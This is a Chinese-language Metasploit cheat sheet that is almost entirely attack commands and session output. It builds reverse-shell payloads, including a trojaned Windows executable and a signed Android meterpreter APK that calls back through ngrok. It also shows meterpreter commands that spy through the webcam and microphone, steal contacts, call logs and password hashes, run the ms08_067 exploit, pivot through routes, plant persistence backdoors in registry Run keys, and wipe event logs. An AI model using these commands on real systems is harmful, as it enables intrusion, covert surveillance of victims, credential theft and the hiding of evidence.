update-rc.d metasploit enable
/usr/share/metasploit-framework Kali中msf的路径为
/usr/share/metasploit-framework/scripts/resource/ 脚本文件
/usr/share/metasploit-framework/modules/exploits/multi/http
常用命令:msfconsole -r /usr/share/metasploit-framework/scripts/resource/powershell.rc
use exploit/multi/script/web_delivery
set PAYLOAD windows/meterpreter/reverse_tcp
set TARGET 2
set LHOST 192.168.211.179
set LPORT 4444
set URIPATH /
run
Post:后渗透阶段模块,在获得meterpreter的shell之后可以使用的攻击代码。比如常用的hashdump、
第一个是data下js文件夹下的detect,这里面存放的是metasploit的探针文件。如果看过metasploit浏览器攻击脚本的代码,就会发现调用了一个js库,然后检查当前请求是否符合被攻击环境。如果符合则发送攻击代码,否则中断。Memory中主要是一些堆喷射代码。在大部分浏览器漏洞利用过程,堆喷射是一个不可或缺的过程(当然不是绝对的!)。并且不同的浏览器及版本间,堆喷射代码都有所不同。所以这里给出的探针代码和堆喷射代码是不是一个非常好的学习资源呢?
-p,--payload
--payload –options 列出有效载荷的标准选项
-l,--list [type] 列出模块类型。选项有:有效载荷,编码器,nops,全部
-n,--nopsled
-f,--format
--help-formats 列出可用的格式
-e,--encoder
-a,--arch
--platforms <-platforms> 有效载荷的平台
--help-platforms 列出可用的平台
-s,--space
--encoder-space
-b,--bad-chars 要避免的字符列表:‘\ x00 \ xff’
-i,--iterations
-c,--add-code
-x,--template
-k,--keep 保留模板行为,并将有效负载作为新线程注入
-o,--out
-v,--var-name
--smallest 生成最小的有效载荷
-h,--help 显示此消息
msfvenom -a x86 --platform Windows -p windows/shell/bind_tcp –e x86/shikata_ga_nai -b ‘\x00’ -f python 生成一个window木马返回shell -p window平台正向链接 -e 编码 -b 字符列表 -f 平台
msfvenom -c messageBox -a x86 --platform windows -p windows/messagebox TEXT=“We are evil” -f raw > messageBox2
msfvenom -c messageBox2 -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.211.179 LPORT=4444 -f exe -o andy.exe
msfvenom -a x86 --platform windows -x 1.exe -k -p windows/meterpreter/reverse_tcp LHOST=192.168.211.179 LPORT=4444 –b “\ x00” -f exe -o 2.exe -k 保留exe的行为 -x 指定一个文件 -p 保留模版行为 -o 保留为2.exeuse exploit/multi/script/web_delivery
set PAYLOAD windows/meterpreter/reverse_tcp
set TARGET 2
set LHOST 192.168.211.179
set LPORT 4444
set URIPATH /
run
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.211.179
set LPORT 4444
set URIPATH /
run
use exploit/multi/script/web_delivery
use auxiliary/server/regsvr32_command_delivery_server
set LHOST 192.168.211.179
set LPORT 4444
set URIPATH /
run生成
生成安装木马
msfvenom -p android/meterpreter/reverse_tcp LHOST=free.ngrok.cc LPORT=11*** R > /root/Desktop/123.apk
keytool -genkey -v -keystore my-release-key.Keystore -alias alias_name -keyalg RSA -keysize 2048 -validity 10000 执行下列命令签名。首先使用密钥工具创建密钥库
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.Keystore 123.apk aliasname 然后使用JARsigner签名APK
jarsigner -verify -verbose -certs 123.apk 再用JARsigner验证签名
use exploit/multi/handler
Set PAYLOAD android/meterpreter/reverse_tcp
SET LHOST 192.168.253.128(Kali的Linux内网IP)
SET LPORT 2222(隧道的端口号)
Exploit
常用命令:
search 搜索 search -f *.jpg
download
webcam_stream -i 1/2 打开前置或后置摄像头
check_root 检测root
dump_calllog 下载电话记录
dump_contacts 下载信息记录
geolocate 定位,需要下载谷歌地图
netstat -anp |grep 端口 kill -9 PID//相当于windows下的
netstat -ano netstat -aon|findstr "3306" tasklist|findstr "4936" taskkill /f /t /im spx.exe 结束进程
find / -name hamster.txt 寻找某个文件
find / -name hamster.txt找命令
apt-get clean && apt-get update && apt-get upgrade -y && apt-get dist-upgrade -y 源的更新与清理
apt-get install linux-headers-$(uname -r) #linux内核更新
dpkg --add-architecture i386 .添加对32位的支持
ps 查看进程
migrate 注入进程 进程ID 一般选择explorer.exe对应的PID
run vnc 查看远程桌面
文件操作
cat 查看文件
edit 编辑文件
upload 上传文件
download 下载文件
rm 删除文件
mkdir 创建文件夹
rmdir 删除文件夹
网络及系统操作
enumdesktops 在线用户数
uictl disable keyboard 让键盘失效
uictl enable keyboard 恢复键盘
record_mic -d 10 音频录制 录制10秒
webcam_stream 开启摄像头
getsystem 获取最高权限
hashdump 密码hash
smb服务 445端口扫描系统信息
use auxiliary/scanner/smb/smb_versionSNMP扫描和枚举
use auxiliary/scanner/snmp/snmp_loginms08_067
use exploit/windows/smb/ms08_067_netapi
set PAYLOAD windows/meterpreter/reverse_tcp
set RHOST 192.168.211.137
set LHOST 192.168.211.137
set threads 100
run
ms12_004
use exploit/windows/smb/ms08_067_netapi
ms14_002内核提权(使用于32bit)
exploit/windows/local/ms_ndproxy
set session 2
域渗透-------------------------------------------------------------------------------------
meterpreter > run get_local_subnets
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
Local subnet: 169.254.0.0/255.255.0.0
Local subnet: 169.254.0.0/255.255.0.0
Local subnet: 192.168.99.0/255.255.255.0
Local subnet: 192.168.137.0/255.255.255.0
Local subnet: 192.168.164.0/255.255.255.0
Local subnet: 192.168.211.0/255.255.255.0
meterpreter > run autoroute -s 192.168.211.0/24
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
[*] Adding a route to 192.168.211.0/255.255.255.0...
[+] Added route to 192.168.211.0/255.255.255.0 via 192.168.164.1
[*] Use the -p option to list all active routes
meterpreter > run autoroute -p
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
Active Routing Table
====================
Subnet Netmask Gateway
------ ------- -------
192.168.211.0 255.255.255.0 Session 2
rning: Not currently running as SYSTEM, not all tokens will be available
Call rev2self if primary process token is SYSTEM
Delegation Tokens Available
========================================
DESKTOP-A31E3JE\Andy
Impersonation Tokens Available
========================================
No tokens available
meterpreter > impersonate_token DESKTOP-A31E3JE\Andy
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
Call rev2self if primary process token is SYSTEM
[-] User token DESKTOP-A31E3JEAndy not found
meterpreter >
meterpreter > run get_local_subnets //获取网段
meterpreter > run autoroute -s 172.2.175.0/24 //添加路由
meterpreter > run autoroute -p //查看路由
meterpreter > run autoroute -d -s 172.2.175.0 //删除网段
meterpreter > run post/windows/gather/arp_scanner RHOSTS=7.7.7.0/24 //探测该网段下的存活主机。
meterpreter > background //后台sessions
METERPRETER控制持久化
Meterpreter提供2种方式的后门,一种是通过服务启动(metsvc),一种是通过启动项启动(persistence)。
通过服务(metsvc)启动的方式,其优点便是命令简单方便。使用此方式的后门不进行反弹回连,因此不必设置太多参数。该后门在目标机器启动后自启动一个”服务器”来等待黑阔连接,因此黑阔可以随时随地通过该后门进入目标机器,十分简单方便。当然,其缺点也十分明显。当其他黑阔使用扫描软件扫出该”服务器”的存在时,任何人便可以通过该后门直达目标机器内部。毫无安全性可言。
通过启动项启动(persistence)的方式,其缺点便是参数较为复杂,当设置某项参数后,很有可能因为权限问题导致该设置项并未生效,并且无错误回显,导致持续化控制可能失败,功败垂成。当然,其优点也可圈可点。该方式是在目标机器上以反弹回连方式来连接黑阔的”服务器”,目标机器上的防火墙对于此等操作一般均会放行,因此后门的存活率较高,黑阔只需坐等羔羊送上门来。
METERPRETER持续化控制命令
使用metsvc生成后门命令十分简单:
run metsvc
meterpreter > run metsvc -A //再开起一个终端,进入msfconsole
msf > use exploit/multi/handler //新终端中监听
msf > set payload windows/metsvc_bind_tcp
msf > set LPORT 31337
msf > set RHOST 192.168.0.128
meterpreter > run metsvc -A //再开起一个终端,进入msfconsole
msf > use exploit/multi/handler //新终端中监听
msf > set payload windows/metsvc_bind_tcp
msf > set LPORT 31337
msf > set RHOST 192.168.0.128
msf > run //获取到的会话是system权限
此处,几个比较重要的参数为
-P:设置Payload,默认为windows/meterpreter/reverse_tcp。该默认的payload生成的后门为32位程序。因此,当目标机器为64位系统时,留下的后门将无法运行
-U:设置后门在用户登录后自启动。该方式会在HKCU\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息。推荐使用该参数
-X:设置后门在系统启动后自启动。该方式会在HKLM\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息。由于权限问题,会导致添加失败,后门将无法启动。因此,在非管理员权限或者未进行BypassUAC操作情况下,不推荐使用该参数。
-i:设置反向连接间隔时间,单位为秒。当设置该参数后,目标机器会每隔设置的时间回连一次所设置的ip
-p:设置反向连接的端口号。即黑阔用来等待连接的端口
-r:设置反向连接的ip地址。即黑阔用来等待连接的ip
因此,一个完整的命令为:
meterpreter > run persistence -U -i 10 -p 6666 -r 192.168.164.130
连接后门
当后门留好后,我们需要设置监听来等待后门被触发,以致反弹连接我们的”服务器”
msf > clearev //删除目标机上的应用程序、系统和安全日志。
参考:https://www.cnblogs.com/lsgxeva/p/8450277.html